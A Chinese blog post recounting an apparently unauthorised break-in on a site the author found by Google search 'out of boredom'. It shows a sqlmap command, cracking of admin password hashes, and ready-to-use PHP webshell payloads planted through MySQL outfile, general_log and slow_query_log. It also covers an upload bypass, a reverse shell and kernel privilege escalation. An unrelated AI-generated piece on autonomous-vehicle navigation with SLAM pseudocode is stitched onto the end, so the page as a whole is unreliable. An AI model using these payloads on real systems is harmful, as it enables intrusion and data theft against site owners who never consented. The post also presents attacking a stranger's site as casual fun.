崎岖的渗透测试

本文介绍了在渗透测试中发现SQL注入漏洞,并利用sqlmap进行测试与exploit的详细过程。通过outfile和MySQL日志功能在目标系统中写入webshell。同时,文章也探讨了如何绕过权限限制和路径访问问题,最终实现shell的获取。内容包括信息收集、条件利用、前端上传漏洞及提权技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


title: 崎岖的渗透测试实战
tags:

  • 渗透实战
    abbrlink: 47189
    date: 2022-06-12 21:20:58

渗透测试实战

闲来无事,找找站点搞一搞。非常感谢我的大表哥提供的技术帮助和支持。

一波谷歌语法,发现该站点,手工测试,发现可能存在sql注入,抱着试试看的心态,直接丢sqlmap。

因为一直用的windows下的sqlmap2,导致误判dba权限

python2 sqlmap.py -u http://xxxx/PHP/a_content.php?id=61   --random-agent  --tamper=space2hash.py --threads 5 --batch

旧版本sqlmap
在这里插入图片描述

kali下的sqlmap
在这里插入图片描述

mysql写入webshell

顺便学习加复习一下,方便自己以后食用

  1. 通过outfile写入shell

    select '<?php @eval($_POST[1]);?>' into outfile '网站的绝对路径/shell.php';
    
  2. 将shell写入表中

    将shell插入一个表中
    insert into tables values ('<?php @eval($_POST[1]);?>');
    查询该数据表,将结果导出文件
    select comment from sxss into outfile '网站的绝对路径/shell.php';
    
  3. 开启全局日志写入shell

    查看全局日志配置
    show variables like '%general%';
    开启全局配置
    set global general_log = on;
    将日志文件设置成服务器下的木马文件
    set global general_log_file = 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';
    然后执行sql语句,mysql会将我没执行的语句记录到日志文件(上一步修改后的文件)中
    select '<?php @eval($_POST[1]);?>';
    
  4. 慢查询日志写入shell(高版本的mysql有默认不让导入导出)

    查看慢查询日志开启情况
    show variables like '%slow_query_log%';
    开启慢查询日志
    set global slow_query_log=1;
    修改日志文件存储的绝对路径
    set global slow_query_log_file='网站的绝对路径/shell.php';
    向日志文件中写入shell
    select '<?php @eval($_POST[1]);?>' or sleep(11);
    

利用条件:

  • root权限

  • 网站的绝对路径且具有写入权限

信息收集

1.扫描一波web路径,发现存在phpadmin

在这里插入图片描述

2.sqlmap一把梭
在这里插入图片描述

3.md5解密
在这里插入图片描述

数据库getshell尝试

  • 登录phpadmin

https://raw.githubusercontent.com/16778738/picture/master/img/202206122202317.png

  • 翻一波之前的phpadmin getshell笔记

确认一下网站的绝对路径

1.into outfile导入木马

select @@basedir;

只有/usr/,试试默认路径/var/www/html,无果

select '<?php eval($_POST[cmd]);?>' into outfile 'web路径';

mysql高版本中secure_file_pirv会对读写进行限制

show global variables like '%secure%';

secure_file_priv为NULL时,表示限制Mysql不允许导入导出。

要想成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv ="" 即可。
在这里插入图片描述

2.利用Mysql日志文件

mysql5.0以上会创建日志文件

  1. general_log 指的是日志保存状态,ON代表开启 OFF代表关闭;

  2. general_log_file 指的是日志的保存路径。

    查看日志状态:

    show variables like '%general%';
    

    当开启general时,所执行的sql语句都会出现在log文件

    修改general_log_file的值,执行的sql语句就会对应生成,进而getshell。

    需要注意路径斜杠的方向

    set global general_log = 'on'
    set global general_log_file = 'C:/phpStudy/www/hack.php'
    

    再次执行,getshell

    select '<?php eval($_POST[cmd]);?>'
    

在这里插入图片描述

无法访问
在这里插入图片描述

前端上传getshell

前端登录,通过sqlmap跑出的用户账号密码登录,发现两处上传,一处头像,一处身份证照片上传
在这里插入图片描述

尝试上传漏洞

burp一把梭
在这里插入图片描述
在这里插入图片描述

经过一波操作尝试,发现图片可以上传成功,但是无法正常访问,和我的大表哥交流得知可能存在路径权限访问限制。

柳暗花明又一村

还得是见多识广的表哥啊!!!!

上传的很多路径都在/PHP/这个路径中,于是做了一下目录递归扫描,发现该站存在路径遍历的问题。

递归一波web路径 ,又学习到了新知识!!!开森
在这里插入图片描述

访问一波/PHP/qa/目录

可以正常访问,意外的有上传
在这里插入图片描述
在这里插入图片描述

webshell

在这里插入图片描述

反弹shell,提权

在这里插入图片描述

CVE-2021-3493(提权内核漏洞)

自己提权失败,linux提权需要学习一波,先借用表哥的图贴上
在这里插入图片描述

webshell的快乐

No One Is Secure Everything Can Be Broken !

无人驾驶车辆在崎岖地形中的导航技术与解决方案,主要依赖于多传感器融合、先进的状态估计算法以及动态适应性控制策略。这类复杂环境对导航系统的精度和鲁棒性提出了更高的要求,因为车辆需要实时感知周围环境的变化,并做出准确的决策。 在复杂多变的环境中,精准的状态估计是实现自主导航的关键[^4]。例如,DRIFT(Dead Reckoning In Field Time)是一款开源的C++库,旨在为不同架构的移动机器人提供高精度、高频率的自感知状态估算。无论是腿部机器人在崎岖地形的探索,还是水下机器人深海中的潜行,DRIFT都能通过其强大的算法引擎,确保机器人的每一步都精确无误。类似的技术可以被应用于无人驾驶车辆上,以提高其在恶劣地形条件下的定位和导航能力。 此外,为了应对崎岖地形带来的挑战,无人驾驶车辆通常配备多种传感器,如激光雷达、摄像头、惯性测量单元(IMU)等[^3]。这些传感器的数据被融合在一起,以提供一个更加全面和准确的环境模型。例如,激光雷达可以帮助构建详细的三维地图,而摄像头则用于识别道路标记和其他视觉特征。IMU能够提供车辆运动的详细信息,包括加速度和角速度,这对于在没有GPS信号的情况下保持导航能力尤为重要。 线控悬架系统也是提升无人驾驶车辆在崎岖地形中性能的一个重要组成部分。该系统可以通过车载传感器对路况进行感知,并实时调整悬架的刚度、阻尼和车身高度,提供最优的行驶体验。当车辆行驶在颠簸或坑洼路面时,线控悬架系统可以降低悬架刚度,减少震动传递到车身,从而提升驾驶舒适性,减少车辆和乘客的颠簸感[^2]。 对于具体的软件实现,开发者可能会采用SLAM(Simultaneous Localization and Mapping)技术来创建环境地图并同时确定车辆在这个地图中的位置。以下是一个简单的伪代码示例,展示了一个基于SLAM的基本框架如何处理来自传感器的数据: ```cpp // 初始化SLAM系统 SlamSystem slam; // 主循环 - 处理传感器输入并更新地图及位置 while (true) { // 获取传感器数据 SensorData sensor_data = getSensorData(); // 更新SLAM系统 slam.update(sensor_data); // 获取当前估计的位置 Pose current_pose = slam.getCurrentPose(); // 如果需要,则生成新的地图部分 if (shouldBuildMap()) { Map new_map_part = slam.buildMapPart(); updateGlobalMap(new_map_part); } // 根据最新信息规划路径 Path planned_path = planPath(current_pose, target_location); // 执行路径跟随逻辑 followPath(planned_path); } ``` 这段代码仅作为概念演示,实际应用中的SLAM算法会更加复杂,并且可能涉及大量的数学运算和优化过程。 在解决崎岖地形中的导航问题时,还需要考虑能源效率、安全性和可靠性等因素。随着技术的进步,未来的无人驾驶车辆将更加强大,能够在更多样化的环境中可靠地运行。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值